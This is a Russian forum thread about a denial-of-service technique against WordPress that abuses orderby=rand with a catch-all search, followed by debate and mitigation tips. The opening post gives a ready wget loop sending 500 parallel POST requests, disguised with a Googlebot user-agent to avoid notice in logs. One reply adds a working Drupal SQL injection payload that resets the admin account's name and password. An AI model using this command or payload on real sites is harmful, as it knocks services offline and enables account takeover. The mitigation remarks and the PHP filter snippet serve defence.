|
| Дата |
|
USD/RUB | 89.7026 | BTC/USD | 68300.1979 |
|
|
|
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии. |
08.03.2015, 00:22
|
Start Post: Как правильно ддосить wordpress
|
автоматизирую интернеты
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
|
Сразу оговорюсь, текст ниже не нарушает правил форума и подобная формулировка названия топика создана лишь для привлечения внимания сообщества, которое до сих пор почему-то продолжает использовать Wordpress без соответствующих защит, несмотря на мои многократные предупреждения за последние 3-4 года
Ниже описана опасность эксплуатации WP, которой подвержены 99,99% сайтов. Причем, ей может воспользоваться любой новичок. Что самое интересное, это не дыра, не баг, не какая-то доп.настройка или плагин....это документированная фича ядра вордпресса!
Я с ней работал несколько лет...имею ввиду, дорабатывал вордпрессы так, чтобы эта фича перестала быть настолько уязвимой, какой она является в дистрибутиве по умолчанию. Сейчас решил поделиться опытом с публикой, а она поможет "распространить" эту информацию до владельцев сайтов
DoS (Denial Of Service) = "отказ в обслуживании", т.е. это ряд мероприятий над сервером или сайтом, а в нашем случае - над вордпрессом, целью которых являются доставление проблемы с работоспособностью веб-ресурса.
DDoS - тоже самое, только действия направлены не из одного источника, а из множества. Именно DDoS отдельно рассматривать не будем, т.к. для защит от распределенных атак нужно:
1) понять алгоритм или характер DoS-а
2) отфильтровать плохие источники запросов. Если ддос не такой сильный, то,возможно, поможет этот топик.
Кстати говоря, понятия нагрузочное тестирование и стресс-тестирование имеют общее с DoS, а именно: их цель - протестировать систему (в том числе) на противостояние DoS- и DDos-атакам. Поэтому, можно сказать, ниже описан способ стресс-тестирования вашего сайта на Wordpress
Описание метода. Теория.
Мой метод тестирования (или доса, как вам удобнее) основан на встроенной возможности вордпресса сортировать объекты(посты, тайтлы, теги - все что угодно) в произвольном порядке, т.е. с помощью random. Сама фича описана на сайте вордпресса тут. Казалось бы, это удобно добавлять к любому URL вордпресса orderby=rand и содержимое списка (например, списка постов) выдается каждый раз в случайном порядке. Тоже самое касается и разработки плагинов, в классах вордпресса есть похожие механизмы получения рандомизированного списка каких-либо объектов, что тоже кажется удобным на первый взгляд и школьники с удовольствием это используют в своих плагинах, многие из которых находятся в топах на сайте wordpress.org
Но ведь каждый программист, имеющий опыт программирования (а не ковыряния пальцем в жопе), знает, что рандом - это иногда плохо, а чем ближе распределение вероятности случайной величины к нормальному ("идеальный рандом"), тем еще хуже и сложнее. Архитекторы нашего "любимого" вордпресса, почему-то решили, что посты нужно сортировать именно методом, близким к идеальному, т.е. используя функцию rand(), которая присутствует в языках программирования или sql.
А теперь подумаем, что такое сортировка в порядке беспорядка? это ведь не просто взяли первые попавшиеся элементы и выдали как есть. Нужно взять элементы и принудительно их все разложить в произвольном порядке, согласно сгенерированной последовательности случайных чисел. Во время сортировки мы всегда будем получать наихудшие расклады, т.е. сложность будет стремится к O(x*x), что очень накладно по использованию ресурсов. Вывод: сортировка данных в произвольном порядке - это очень затратная операция, которую нужно избегать как огня. И, когда нужно, опытные программисты это избегают, о чем делятся своими решениями: раз, два, три, четыре, пять ищите в гугле. Но в случае доса или стресс-тестирования сайта такая сортировка очень хорошо подходит!
То, что процессор будет чего-то делать с данными во время бесконечных сравниваний - это понятно, но как у нас обстоят дела с памятью? Тут многое будет зависеть от количества сортируемых данных: если их много, значит и памяти нужно много, если мало - то мало, но любом случае (внимание!!!) мы никак не можем закешировать данные, кеш бессилен, потому что бессмысленно кешировать бесконечно случайные наборы данных.
Возвращаясь к механизмам оперирования данных именно в вордпрессе, узнаем, что random-сортировка там делается через (my)SQL-запрос с помощью конструкции ORDER BY RAND(). Поэтому далее углубляемся в технические особенности MySQL:
1) чтобы в mysql отсортировать выбранные select-ом данные, необходимо оперировать сразу всеми данными, даже если из них нужна только малая часть. Например, если в БД 1000 постов и нужно на главной показать рандомно первые 10, mysql все равно выберет, потом отсортирует все 1000 постов и лишь затем отсечет нужные 10 элементов. Поэтому происходит оперирование всеми данными одновременно(!)
2) в mysql есть опция в настройках(my.cnf), которая определяет размер временных таблиц в памяти, превышая который, временная таблица перемещается на диск. О существовании этой переменной начинающие админы или владельцы сайтов могут и не знать, и, скорее всего, там установлено какое-то стандартное значение.
А теперь представьте, что и без того не быстрая сортировка перемещается из памяти на диск - это плохо, очень. Временные затраты по железным причинам автоматически возрастают на 1-2 порядка. Выходит, чтобы создать такую ситуацию, нужно сортировать много данных, чтобы они не уместились в памяти во временной таблице и весь процесс ушел в диск.
3) возвращаемся к выборке из 1000 постов...в mysql есть такая неприятная особенность, которая состоит в том, что чем ближе к концу нужны данные из выборки, тем дольше нужно ждать ответа от БД, т.е. запрос первых 10 постов из 1000 (LIMIT 0,10) будет намного быстрее и легче, чем последние 10 (LIMIT 990,10)
4) ну и напоследок сама выборка может быть с условиями, при которых, например затрудняется работ индексов или вообще они отсутствуют. Например, это выборка функции поиска на сайте, т.к. в mysql она будет представляться как-то так WHERE...LIKE '%key%' , а чтобы в ее результате было побольше объектов, искать следует то, что встречается в каждом объекте/посте, например: точку "." - WHERE...LIKE '%.%'
Вывод: нужно выбирать последние элементы из большой выборки, основанной на результате поиска, отсортированном рандомом.
Выполнения таких запросов можно добиться как через URI, так и через просмотр кривых плагинов, которые также не брезгают пользоваться стандартным рандомом вордпресса.
Реальный пример такого URL: http://chesser.ru/blog/ page/8/ ? s=. & orderby=rand
У меня в блоге записей мало, поэтому в диск процесс не уходит, но все равно результат невозможно кешировать, поэтому алгоритм отрабатывает ОТ и ДО. Наибольший эффект получится на вордпресс-сайтах с большим количеством постов.
Практическая часть.
Тут все просто. Понадобится любой инструмент настраиваемой отсылки http-запросов в много потоков, например, wget, curl, ваш любимый парсер или даже программа на дельфи (хотя, надеюсь, эти мамонты умерли). Тестеры используют такие инструменты, из которых многим знаком ab, а мне нравится httperf. Но тут на форуме я покажу пример bash-команды на wget:
Код:
bash> for i in {1..500}; do ( \
wget -O /dev/null --tries=100500 --waitretry=1 --timeout=0.5 \
--post-data='s=.&orderby=rand' \
--user-agent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' \
http://chesser.ru/blog/ > /dev/null 2>&1 &); done
Пояснения:
- timeout=0.5 - нужно подобрать опытным путем, чтобы wget успел отресолвить сервер и послать http запрос, а потом коннект должен обрубиться на полуслове, т.к. ждать его ответа смысла нет, лучше за это время еще послать десяток другой запросов
- этот пример НЕ использует особенность из п.3. Для нее необходимо предвариельно вычислять число доступных страниц результата.
- метод POST и указанный юзерагент использованы, чтобы не сильно мусорить в логах
Первоисточником этой команды пусть будет этот адрес: http://wiki.chesser.ru/CMS_Wordpress , постараюсь обновлять там информацию, если придумаю чего-нибудь еще интересное.
Способы решения проблемы:
1) основной способ решения проблемы - это не использовать Wordpress, потому что я пока молчу о других его архитектурных проблемах, которые также удобны в использовании для подобного тестирования, а кто-то наверняка уже использует В качестве альтернативы предлагаю использовать, например, Drupal 1, Drupal 2 или какие-то другие платформы, созданные разработчиками, которые хотя бы закончили школу.
2) Если от вордпресса избавиться нельзя, то проблему нужно решать либо полным удалением возможностей использования, либо модификацией функции сортировки, смысл которой заключается в том, чтобы а) уйти от стандартного качественного рандома к какому-то сильно упрощенному псевдо-рандому, б) либо кешированием результатов сортировки (рандом выборка всегда будет состоять из одного и того же набора данных) в) либо сокращением размеров выборок.
Свои услуги по оптимизации и спасении вордпресса не предлагаю, т.к. для меня это пройденный этап. По деньгам обычно стоило $100-300.
3) Также можно пытаться ловить и фильтровать такие подозрительные запросы, но их структура может меняться и в эти периоды сервер будет спать, что неприятно.
Последний раз редактировалось chesser; 08.03.2015 в 00:35.
|
|
|
08.03.2015, 17:43
|
#42
|
автоматизирую интернеты
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
ТС -->
|
ТС
Цитата:
Сообщение от Matt Cutts
Ну так у меня и работает на любом адресе с 'orderby=rand'
|
ну и тут тоже самое, только этот orderby=rand передается не гетом, а постом, который ты не увидишь, а в URI будет обычный адрес, без orderby=rand
|
|
|
08.03.2015, 17:52
|
#43
|
Senior Member
Регистрация: 24.09.2009
Сообщений: 821
Бабло: $106455
|
Короче, надо найти еще сайт на wp, на котором будет такая форма, которая будет слать постом orderby=rand, так?
|
|
|
08.03.2015, 17:59
|
#44
|
главный злодей гофака
Регистрация: 18.06.2007
Сообщений: 5,760
Бабло: $953848
|
это же особенность by design sql баз, а не баг wp.
тоже самое что обвинять феррари, что в её багажник 3 мешка картошки не поместится и по нашим ямам непрактичная.
__________________
Последний раз редактировалось sspy; 08.03.2015 в 18:06.
|
|
|
08.03.2015, 18:08
|
#45
|
автоматизирую интернеты
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
ТС -->
|
ТС
Цитата:
Сообщение от Matt Cutts
Короче, надо найти еще сайт на wp, на котором будет такая форма, которая будет слать постом orderby=rand, так?
|
зачем искать какие-то формы, бери любой вп и шли посты на любые урлы.
что-то я притомился это разжевывать.
Цитата:
Сообщение от sspy
это же особенность by design sql баз, а не баг wp.
|
я не заявлял, что это баг. Да, это особенность вордпресса, которая заключается в использовании плохих практик работы с БД. А учитывая массовость и универсальность применения вп, это камень в огород его разработчиков.
|
|
|
08.03.2015, 18:16
|
#46
|
главный злодей гофака
Регистрация: 18.06.2007
Сообщений: 5,760
Бабло: $953848
|
Цитата:
Сообщение от chesser
я не заявлял, что это баг. Да, это особенность вордпресса, которая заключается в использовании плохих практик работы с БД. А учитывая массовость и универсальность применения вп, это камень в огород его разработчиков.
|
кидать камни в огород разработчиков, которые разрабатывают бесплатный и открытый продукт, которой стал самым массовым на рынке как раз благодаря своей простоте это немного неправильно. у друпала и вп абсолютно разные ниши, да и по сути у этих платформ и серъезных конкурентов-то нет.
плюс разработчики может и хотели бы всё исправить, но для этого пришлось бы пожертвовать совместимостью и простотой, что и является одновременно и преимуществом и недостатком у движка.
__________________
|
|
|
09.03.2015, 01:07
|
#47
|
je suis Charlie
Регистрация: 19.08.2009
Сообщений: 1,643
Бабло: $255632
|
Насчет защиты вордпресса от этой хурмы. Можно просто добавить в index.php
Код:
if (isset($_REQUEST['orderby']) && $_REQUEST['orderby'] == 'rand') {
echo "fuck dos!";
die();
}
|
|
|
09.03.2015, 02:31
|
#48
|
автоматизирую интернеты
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
ТС -->
|
ТС
mr.Charlie, ага
с таким подходом перед php дополнительно можно воткнуть nginx-правило, предложенное Matt Cutts и тогда все будет работать
|
|
|
10.03.2015, 11:36
|
#49
|
Senior Member
Регистрация: 18.08.2010
Сообщений: 360
Бабло: $66120
|
Цитата:
Сообщение от mr.Charlie
Дело в том, что id - это автоинкремент. Линки удаляются, и образуются большие дыры между айдишками, поэтому рандом приходится делать выборкой mysql.
|
Ты меня не так понял. Я имею ввиду что то типа
$result = shuffle mysql_array("SELECT * FROM links");
Так будет намного быстрее чем
$result = mysql_array("SELECT * FROM links ORDER BY RAND()");
ORDER BY RAND реально нужен только совмесно с LIMIT, те что бы не выбирать все записи а только N рандомных. В остальных случаях можно просто перемешивать лист из пхп или чего то там еще.
|
|
|
10.03.2015, 11:54
|
#50
|
je suis Charlie
Регистрация: 19.08.2009
Сообщений: 1,643
Бабло: $255632
|
Цитата:
Сообщение от xanxy
Ты меня не так понял. Я имею ввиду что то типа
$result = shuffle mysql_array("SELECT * FROM links");
Так будет намного быстрее чем
$result = mysql_array("SELECT * FROM links ORDER BY RAND()");
ORDER BY RAND реально нужен только совмесно с LIMIT, те что бы не выбирать все записи а только N рандомных. В остальных случаях можно просто перемешивать лист из пхп или чего то там еще.
|
Ну да, у меня 7 лямов строк и LIMIT 30
Цитата:
Сообщение от chesser
mr.Charlie, ага
с таким подходом перед php дополнительно можно воткнуть nginx-правило, предложенное Matt Cutts и тогда все будет работать
|
Да друпал тоже то еще говно в плане безопасности. Ты, как спец по друпалу, не можешь не знать, что все, что <=7.32 ломается примитивной скулью
PHP код:
post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"
А актуальная версия 7.34 такая вот шляпа
Последний раз редактировалось mr.Charlie; 10.03.2015 в 12:04.
|
|
|
10.03.2015, 14:52
|
#51
|
автоматизирую интернеты
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
ТС -->
|
ТС
Цитата:
Сообщение от xanxy
ORDER BY RAND реально нужен только совмесно с LIMIT, те что бы не выбирать все записи а только N рандомных. В остальных случаях можно просто перемешивать лист из пхп или чего то там еще.
|
не, как раз в этом и заключается проблема: чтобы отдать N записей, mysql все равно сортирует все записи
Цитата:
Сообщение от mr.Charlie
Да друпал тоже то еще говно в плане безопасности.
|
кто занимается друпалом, те в курсе этой дырки, на форуме тут уже обсуждали это, НО я хотел бы обратить внимание на принципиальное отличие от рассматриваемой тут dos-уязвимости.
В Drupal-е кодеры недосмотрели, упустили, прошляпили и т.д., нашли дыру и сразу пофиксили(хотя нельзя это назвать именно фиксом, но решение было выдано). Практика показывает, что такое было, есть и будет при разработке любого софта. Сколько то времени назад была подобная дырка в вордпрессе, наверняка и сейчас что-то есть, о чем никто не знает или знают единицы.
А вот рассматриваемая мной проблема dos-уязвимости вордпресса - это его заявленная фича, которая, оказывается, идет в разрез с программными возможностями. Т.е. вордпресс либо (и скорее всего) знает о проблеме и ничего не делает, либо не знает, т.е. не знает как работает mysql(??? - вряд ли). В любом случае, дыра тут структурная/архитектурная/бизнес-фичная/маркетинговая и т.п.
Ну или вордпресс ни в чем неуиноват, потому что это блог для домохозяйки, а не система управления хайлоад-проектами - такая позиция тоже принимается. Тогда проблема переносится на тех людей, которые его используют для пухлых сайтов, как говорится: сами себе Буратины.
|
|
|
|